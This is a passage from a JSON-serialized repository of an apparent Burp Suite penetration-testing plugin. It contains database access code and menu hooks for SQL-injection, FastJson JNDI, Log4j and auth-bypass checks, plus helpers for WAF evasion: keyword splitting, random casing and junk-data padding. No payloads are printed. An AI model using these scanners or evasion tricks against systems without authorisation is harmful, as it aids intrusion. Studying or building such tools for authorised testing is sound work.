datetime('now','localtime') WHERE id = ?\";\n                ps = connection.prepareStatement(updateSql);\n                ps.setString(1, result.getIp());\n                ps.setInt(2, existingId);\n                ps.executeUpdate();\n\n                return existingId;\n            } else {\n                // 不存在则插入新记录\n                DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet\n\n                String insertSql = \"INSERT INTO domain_results (project_id, domain, ip, create_time) VALUES (?, ?, ?, datetime('now','localtime'))\";\n                // 移除 Statement.RETURN_GENERATED_KEYS\n                ps = connection.prepareStatement(insertSql);\n                ps.setInt(1, result.getProjectId());\n                ps.setString(2, result.getDomain());\n                ps.setString(3, result.getIp());\n                ps.executeUpdate();\n\n                // 使用 last_insert_rowid() 获取最后插入的ID\n                ps = connection.prepareStatement(\"SELECT last_insert_rowid()\");\n                rs = ps.executeQuery();\n                if (rs.next()) {\n                    return rs.getInt(1);\n                }\n            }\n\n            return -1;\n        } catch (SQLException e) {\n            return -1;\n        } catch (Exception e) {\n            return -1;\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n    }\n\n    // 获取项目的域名结果\n    public static List<SimilarDomainResultBean> getDomainResults(int projectId) throws SQLException {\n        List<SimilarDomainResultBean> results = new ArrayList<>();\n        String sql = \"SELECT id, project_id, domain, ip, create_time FROM domain_results WHERE project_id = ?\";\n\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, projectId);\n            rs = ps.executeQuery();\n\n            while (rs.next()) {\n                SimilarDomainResultBean bean = new SimilarDomainResultBean(\n                        rs.getInt(\"project_id\"),\n                        rs.getString(\"domain\"),\n                        rs.getString(\"ip\")\n                );\n                bean.setId(rs.getInt(\"id\"));\n                bean.setCreateTime(rs.getString(\"create_time\"));\n                results.add(bean);\n            }\n\n            return results;\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n    }\n\n    public static boolean isDomainExists(int id, String domain) {\n        String sql = \"SELECT id FROM domain_results WHERE id = ? AND domain = ?\";\n        try {\n            Connection connection = DbUtils.getConnection();\n            PreparedStatement ps = connection.prepareStatement(sql);\n            ps.setInt(1, id);\n            ps.setString(2, domain);\n            ResultSet rs = ps.executeQuery();\n            if (rs.next()) {\n                return true;\n            }\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n        return false;\n    }\n\n    public static void updateDomainResult(SimilarDomainResultBean result) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n\n        try {\n            connection = DbUtils.getConnection();\n\n            // 更新域名记录信息，包括IP和更新时间\n            String sql = \"UPDATE similar_domain_results SET ip = ?, update_time = datetime('now','localtime') WHERE id = ?\";\n            ps = connection.prepareStatement(sql);\n\n            ps.setString(1, result.getIp());\n            ps.setInt(2, result.getId());\n\n            int updatedRows = ps.executeUpdate();\n\n            if (updatedRows == 0) {\n                Utils.stderr.println(\"更新域名结果失败: 记录不存在 (ID: \" + result.getId() + \")\");\n            }\n\n        } catch (Exception e) {\n            Utils.stderr.println(\"更新域名结果失败: \" + e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/burp/dao/SimilarProjectDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.*;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SimilarProjectDao {\n    // 保存项目\n    public static void saveProject(SimilarProjectBean project) {\n        String sql = \"INSERT INTO projects (name, create_time) VALUES (?, datetime('now','localtime'))\";\n        Connection connection = null;\n        PreparedStatement ps = null;\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, project.getName());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 获取所有项目\n    public static List<SimilarProjectBean> getAllProjects() {\n        List<SimilarProjectBean> projects = new ArrayList<>();\n        String sql = \"SELECT * FROM projects ORDER BY create_time DESC\";\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            rs = ps.executeQuery();\n            while (rs.next()) {\n                SimilarProjectBean project = new SimilarProjectBean();\n                project.setId(rs.getInt(\"id\"));\n                project.setName(rs.getString(\"name\"));\n                project.setCreateTime(rs.getString(\"create_time\"));\n                projects.add(project);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n        return projects;\n    }\n\n    // 删除项目\n    public static void deleteProject(int projectId) {\n        String sql = \"DELETE FROM projects WHERE id = ?\";\n        Connection connection = null;\n        PreparedStatement ps = null;\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, projectId);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/SimilarUrlResultDao.java",
    "content": "package burp.dao;\n\n\nimport burp.bean.SimilarUrlResultBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SimilarUrlResultDao {\n    // 保存URL结果\n    public static int saveUrlResult(SimilarUrlResultBean result) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n\n        try {\n            connection = DbUtils.getConnection();\n\n            // 先检查是否存在相同记录\n            String checkSql = \"SELECT id FROM url_results WHERE project_id = ? AND url = ?\";\n            ps = connection.prepareStatement(checkSql);\n            ps.setInt(1, result.getProjectId());\n            ps.setString(2, result.getUrl());\n            rs = ps.executeQuery();\n\n            if (rs.next()) {\n                // 如果存在，更新时间\n                int existingId = rs.getInt(\"id\");\n                DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet\n\n                String updateSql = \"UPDATE url_results SET create_time = datetime('now','localtime') WHERE id = ?\";\n                ps = connection.prepareStatement(updateSql);\n                ps.setInt(1, existingId);\n                ps.executeUpdate();\n\n                return existingId;\n            } else {\n                // 不存在则插入新记录\n                DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet\n\n                String insertSql = \"INSERT INTO url_results (project_id, url, create_time) VALUES (?, ?, datetime('now','localtime'))\";\n                ps = connection.prepareStatement(insertSql, Statement.RETURN_GENERATED_KEYS);\n                ps.setInt(1, result.getProjectId());\n                ps.setString(2, result.getUrl());\n                ps.executeUpdate();\n\n                // 获取新插入记录的ID\n                rs = ps.getGeneratedKeys();\n                if (rs.next()) {\n                    return rs.getInt(1);\n                }\n            }\n\n            return -1;\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n            return -1;\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n    }\n\n    // 获取项目的URL结果\n    public static List<SimilarUrlResultBean> getUrlResults(int projectId) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        List<SimilarUrlResultBean> results = new ArrayList<>();\n\n        try {\n            connection = DbUtils.getConnection();\n\n            // 按创建时间降序排列，获取最新的记录\n            String sql = \"SELECT id, project_id, url, create_time FROM url_results WHERE project_id = ? ORDER BY create_time DESC\";\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, projectId);\n            rs = ps.executeQuery();\n\n            while (rs.next()) {\n                SimilarUrlResultBean result = new SimilarUrlResultBean();\n                result.setId(rs.getInt(\"id\"));\n                result.setProjectId(rs.getInt(\"project_id\"));\n                result.setUrl(rs.getString(\"url\"));\n                result.setCreateTime(rs.getString(\"create_time\"));\n                results.add(result);\n            }\n\n            return results;\n        } catch (Exception e) {\n            Utils.stderr.println(\"获取URL结果失败: \" + e.getMessage());\n            return null;\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n    }\n\n    // 检查URL是否存在\n    public static boolean isUrlExists(int projectId, String url) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n\n        try {\n            connection = DbUtils.getConnection();\n\n            // 查询是否存在相同URL记录\n            String sql = \"SELECT COUNT(*) as count FROM url_results WHERE project_id = ? AND url = ?\";\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, projectId);\n            ps.setString(2, url);\n            rs = ps.executeQuery();\n\n            if (rs.next()) {\n                return rs.getInt(\"count\") > 0;\n            }\n\n            return false;\n        } catch (Exception e) {\n            Utils.stderr.println(\"检查URL是否存在失败: \" + e.getMessage());\n            return false;\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/SqlDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.SqlBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SqlDao {\n\n    // 保存\n    public static void saveSql(SqlBean sqlBean){\n        String sql = \"INSERT OR REPLACE INTO sqli (type, value) VALUES (?, ?)\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, sqlBean.getType());\n            ps.setString(2, sqlBean.getValue());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 更新\n    public static void updateSql(SqlBean sqlBean){\n        String sql = \"update sqli set value = ? where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, sqlBean.getValue());\n            ps.setString(2, sqlBean.getType());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 根据type获取多个\n    public static List<SqlBean> getSqlListsByType(String type){\n        List<SqlBean> sqlLists = new ArrayList<>();\n        String routesql = \"select * from sqli where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(routesql);\n            ps.setString(1, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                SqlBean sqlBean = new SqlBean();\n                sqlBean.setId(resultSet.getInt(\"id\"));\n                sqlBean.setType(resultSet.getString(\"type\"));\n                sqlBean.setValue(resultSet.getString(\"value\"));\n                sqlLists.add(sqlBean);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, resultSet);\n        }\n        return sqlLists;\n    }\n    // 根据type获取一个\n    public static SqlBean getSqlListByType(String type){\n        String routesql = \"select * from sqli where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(routesql);\n            ps.setString(1, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                SqlBean sqlBean = new SqlBean();\n                sqlBean.setId(resultSet.getInt(\"id\"));\n                sqlBean.setType(resultSet.getString(\"type\"));\n                sqlBean.setValue(resultSet.getString(\"value\"));\n                return sqlBean;\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, resultSet);\n        }\n        return null;\n    }\n\n\n    // 根据type删除\n    public static void deleteSqlByType(String type){\n        String sql = \"delete from sqli where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 根据type和value删除\n    public static void deleteSqlByTypeAndValue(String type, String value){\n        String sql = \"delete from sqli where type = ? and value = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.setString(2, value);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/AuthMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.AuthUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class AuthMenu extends JMenuItem {\n    public AuthMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ AuthBypass Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        AuthUI.Check(requestResponses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/FastjsonMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.FastjsonUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class FastjsonMenu extends JMenuItem {\n    public JMenuItem FastjsonDnslogMenu(IHttpRequestResponse[] responses) {\n        this.setText(\"^_^ FastJson Dnslog Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        new FastjsonUI().CheckDnslog(responses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n        return this;\n    }\n\n    public JMenuItem FastjsonEchoMenu(IHttpRequestResponse[] responses) {\n        this.setText(\"^_^ FastJson Echo Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        new FastjsonUI().CheckEchoVul(responses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n        return this;\n    }\n\n    public JMenuItem FastjsonJNDIMenu(IHttpRequestResponse[] responses) {\n        this.setText(\"^_^ FastJson JNDI Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        new FastjsonUI().CheckJNDIVul(responses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n        return this;\n    }\n\n    public JMenuItem FastjsonVersionMenu(IHttpRequestResponse[] responses) {\n        this.setText(\"^_^ FastJson Version Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        new FastjsonUI().CheckVersion(responses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n        return this;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/Log4jMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.Log4jUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class Log4jMenu extends JMenuItem {\n    public Log4jMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ Log4j Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Log4jUI.Check(requestResponses,true);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/NucleiMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.utils.Nuclei;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class NucleiMenu extends JMenuItem {\n    public NucleiMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ Nuclei Template\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Nuclei.Generate(requestResponses);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/PermMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.PermUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class PermMenu extends JMenuItem {\n    public PermMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ Perm Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        PermUI.Check(requestResponses,true);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/RouteMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.AuthUI;\nimport burp.ui.RouteUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class RouteMenu extends JMenuItem {\n    public RouteMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ Route Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        RouteUI.Check(requestResponses,true);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/SqlMenu.java",
    "content": "package burp.menu;\n\nimport burp.IHttpRequestResponse;\nimport burp.ui.SqlUI;\n\nimport javax.swing.*;\nimport java.awt.event.ActionListener;\n\npublic class SqlMenu extends JMenuItem {\n    public SqlMenu(IHttpRequestResponse[] requestResponses) {\n        this.setText(\"^_^ Sql Check\");\n        this.addActionListener(new ActionListener() {\n            public void actionPerformed(java.awt.event.ActionEvent evt) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        SqlUI.Check(requestResponses,true);\n                    }\n                });\n                thread.start();\n\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/menu/TextProcessMenu.java",
    "content": "package burp.menu;\n\nimport burp.IContextMenuInvocation;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.security.SecureRandom;\nimport java.util.Random;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\n/**\n * 文本处理菜单\n * 提供各种文本转换功能\n */\npublic class TextProcessMenu extends JMenu {\n    private final IContextMenuInvocation invocation;\n    private final Random random = new Random();\n    private final SecureRandom secureRandom = new SecureRandom();\n\n    public TextProcessMenu(IContextMenuInvocation invocation) {\n        super(\"Helper\");\n        this.invocation = invocation;\n        initMenu();\n    }\n\n    /**\n     * 初始化菜单项\n     */\n    private void initMenu() {\n        // Unicode解码菜单项\n        JMenuItem unicodeDecode = new JMenuItem(\"Unicode Decode\");\n        unicodeDecode.addActionListener(e -> processSelectedText(this::unicodeDecode));\n\n        // URL解码菜单项\n        JMenuItem urlDecode = new JMenuItem(\"URL Decode\");\n        urlDecode.addActionListener(e -> processSelectedText(this::urlDecode));\n\n        // 关键字拆分菜单项\n        JMenuItem splitKeyword = new JMenuItem(\"Split Keyword\");\n        splitKeyword.addActionListener(e -> processSelectedText(this::splitKeyword));\n\n        // 随机大小写菜单项\n        JMenuItem randomCase = new JMenuItem(\"Random Case\");\n        randomCase.addActionListener(e -> processSelectedText(this::randomCase));\n\n        // 添加生成脏数据菜单项\n        JMenuItem dirtyData = new JMenuItem(\"Generate Dirty Data\");\n        dirtyData.addActionListener(e -> dirtyGetRandomString());\n\n        // 添加Base64数据标签菜单项\n        JMenuItem base64Tag = new JMenuItem(\"Insert Base64 Tag\");\n        base64Tag.addActionListener(e -> checkBase64Data());\n\n\n        add(unicodeDecode);\n        add(urlDecode);\n        add(splitKeyword);\n        add(randomCase);\n        add(dirtyData);\n        add(base64Tag);\n    }\n\n    /**\n     * 处理选中的文本\n     */\n    private void processSelectedText(TextProcessor processor) {\n        try {\n            // 检查消息选择\n            if (invocation.getSelectedMessages() == null || invocation.getSelectedMessages().length == 0) {\n                JOptionPane.showMessageDialog(null, \"No message selected!\");\n                return;\n            }\n\n            // 获取选择范围\n            int[] bounds = invocation.getSelectionBounds();\n            if (bounds == null || bounds[0] == bounds[1]) {\n                JOptionPane.showMessageDialog(null, \"Please select text first!\");\n                return;\n            }\n\n            // 获取当前选中的文本所在的字节数据\n            byte[] contextBytes;\n            int context = invocation.getInvocationContext();\n            if (context == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST ||\n                    context == IContextMenuInvocation.CONTEXT_MESSAGE_VIEWER_REQUEST) {\n                contextBytes = invocation.getSelectedMessages()[0].getRequest();\n            } else {\n                contextBytes = invocation.getSelectedMessages()[0].getResponse();\n            }\n\n            if (contextBytes == null) {\n                JOptionPane.showMessageDialog(null, \"No content available!\");\n                return;\n            }\n\n            // 提取选中的文本部分\n            String fullText = new String(contextBytes);\n            String selected = fullText.substring(bounds[0], bounds[1]);\n\n            // 处理选中的文本\n            String processed = processor.process(selected);\n\n            // 在弹窗中显示结果\n            showProcessedResult(processed);\n\n        } catch (Exception ex) {\n            Utils.stderr.println(\"Error processing text: \" + ex.getMessage());\n            JOptionPane.showMessageDialog(null, \"Error: \" + ex.getMessage());\n        }\n    }\n\n    private void showProcessedResult(String result) {\n        // 创建一个可复制的文本区域\n        JTextArea textArea = new JTextArea(result);\n        textArea.setEditable(false);\n        textArea.setWrapStyleWord(true);\n        textArea.setLineWrap(true);\n\n        // 创建滚动面板\n        JScrollPane scrollPane = new JScrollPane(textArea);\n        scrollPane.setPreferredSize(new Dimension(400, 300));\n\n        // 创建复制按钮\n        JButton copyButton = new JButton(\"复制到剪贴板\");\n        copyButton.addActionListener(e -> {\n            StringSelection stringSelection = new StringSelection(result);\n            Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n            clipboard.setContents(stringSelection, null);\n            JOptionPane.showMessageDialog(null, \"复制到粘贴板!\", \"Success\", JOptionPane.INFORMATION_MESSAGE);\n        });\n\n        // 创建包含文本区域和按钮的面板\n        JPanel panel = new JPanel(new BorderLayout());\n        panel.add(scrollPane, BorderLayout.CENTER);\n        panel.add(copyButton, BorderLayout.SOUTH);\n\n        // 显示对话框\n        JOptionPane.showMessageDialog(\n                null,\n                panel,\n                \"Process Result\",\n                JOptionPane.INFORMATION_MESSAGE\n        );\n    }\n\n    /**\n     * URL解码并在弹出框中显示结果\n     */\n    private String urlDecode(String text) {\n        try {\n            // URL解码，使用UTF-8编码支持中文\n            return URLDecoder.decode(text, StandardCharsets.UTF_8.name());\n        } catch (Exception e) {\n            Utils.stderr.println(\"Error decoding URL: \" + e.getMessage());\n            JOptionPane.showMessageDialog(null, \"Error decoding URL: \" + e.getMessage());\n            return text;\n        }\n    }\n\n    /**\n     * Unicode解码并在弹出框中显示结果\n     */\n    private String unicodeDecode(String text) {\n        StringBuilder result = new StringBuilder();\n        int i = 0;\n        while (i < text.length()) {\n            if (text.startsWith(\"\\\\u\", i) && i + 6 <= text.length()) {\n                String hex = text.substring(i + 2, i + 6);\n                try {\n                    result.append((char) Integer.parseInt(hex, 16));\n                    i += 6;\n                    continue;\n                } catch (NumberFormatException ignored) {\n                }\n            }\n            result.append(text.charAt(i));\n            i++;\n        }\n        return result.toString();\n    }\n\n    /**\n     * 关键字拆分\n     */\n    private String splitKeyword(String text) {\n        StringBuilder result = new StringBuilder();\n        int chunkSize = 2;  // 每段的默认长度\n\n        for (int i = 0; i < text.length(); i += chunkSize) {\n            if (i > 0) {\n                result.append(\"+\");\n            }\n            int end = Math.min(i + chunkSize, text.length());\n            String chunk = text.substring(i, end);\n            result.append(\"'\").append(chunk).append(\"'\");\n        }\n\n        return result.toString();\n    }\n\n    /**\n     * 随机大小写转换\n     */\n    private String randomCase(String text) {\n        return IntStream.range(0, text.length())\n                .mapToObj(i -> {\n                    char c = text.charAt(i);\n                    return random.nextBoolean() ?\n                            Character.toUpperCase(c) :\n                            Character.toLowerCase(c);\n                })\n                .map(String::valueOf)\n                .collect(Collectors.joining());\n    }\n\n    /**\n     * 生成指定数量的随机字符\n     */\n    private String getRandomString(int number) {\n        StringBuilder str = new StringBuilder(\"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\");\n        StringBuilder result = new StringBuilder();\n        for (int i = 0; i < number; i++) {\n            int index = secureRandom.nextInt(str.length());\n            result.append(str.charAt(index));\n        }\n        return result.toString();\n    }\n\n    /**\n     * 弹窗获取用户输入并生成脏数据\n     */\n    private void dirtyGetRandomString() {\n        String s = JOptionPane.showInputDialog(\"Please Input Data Size(n*kb): \");\n        if (s != null && !s.trim().isEmpty()) {\n            try {\n                int size = Integer.parseInt(s);\n                String dirtyData = getRandomString(size * 1024);\n                StringSelection stringSelection = new StringSelection(dirtyData);\n                Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n                clipboard.setContents(stringSelection, null);\n                JOptionPane.showMessageDialog(null, \"请在需要的位置粘贴\", \"Tips\", JOptionPane.INFORMATION_MESSAGE);\n            } catch (NumberFormatException ex) {\n                JOptionPane.showMessageDialog(null, \"Please input a valid number\", \"Error\", JOptionPane.ERROR_MESSAGE);\n            }\n        } else {\n            JOptionPane.showMessageDialog(null, \"Please Input Data Size\", \"Tips\", JOptionPane.INFORMATION_MESSAGE);\n        }\n    }\n\n    /**\n     * 插入Base64数据标签\n     */\n    private void checkBase64Data() {\n        StringSelection stringSelection = new StringSelection(\"<datab64></datab64>\");\n        Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n        clipboard.setContents(stringSelection, null);\n        JOptionPane.showMessageDialog(null, \"请在需要的位置粘贴\", \"Tips\", JOptionPane.INFORMATION_MESSAGE);\n    }\n\n    /**\n     * 文本处理接口\n     */\n    @FunctionalInterface\n    private interface TextProcessor {\n        String process(String text);\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/AuthUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.AuthBean;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.TableColumnModel;\nimport javax.swing.table.TableModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 8:46\n */\npublic class AuthUI implements UIHandler, IMessageEditorController {\n    private JPanel panel; // 主面板\n    private static JTable authTable; // auth表格\n    private JButton btnClear; // 清空按钮\n    private JTextField ipInputField; // ip输入框\n    private JButton saveBtn; // ip确认按钮\n    private JTabbedPane authtabbedPanereq; // 请求tab\n    private JTabbedPane authtabbedPaneresp; // 响应tab\n    private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求\n    private IMessageEditor HRequestTextEditor; // 请求编辑器\n    private IMessageEditor HResponseTextEditor; // 响应编辑器\n    private static final List<AuthEntry> authlog = new ArrayList<>(); //authlog 列表\n    private static final List<String> urlHashList = new ArrayList<>(); // url hash列表\n    private static final Lock lock = new ReentrantLock();\n    private static String LOCAL_IP = \"127.0.0.1\";\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n        setupUI();\n        setupData();\n    }\n\n    // 初始化数据\n    private void setupData() {\n        btnClear.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                // 清空urltable\n                authlog.clear();\n                HRequestTextEditor.setMessage(new byte[0], true);\n                HResponseTextEditor.setMessage(new byte[0], false);\n                urlHashList.clear();\n                authTable.updateUI();\n            }\n        });\n        saveBtn.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (!ipInputField.getText().equals(LOCAL_IP)) {\n                    LOCAL_IP = ipInputField.getText();\n                }else {\n                    LOCAL_IP = \"127.0.0.1\";\n                }\n            }\n        });\n    }\n\n    // 初始化ui\n    private void setupUI() {\n        panel = new JPanel();\n     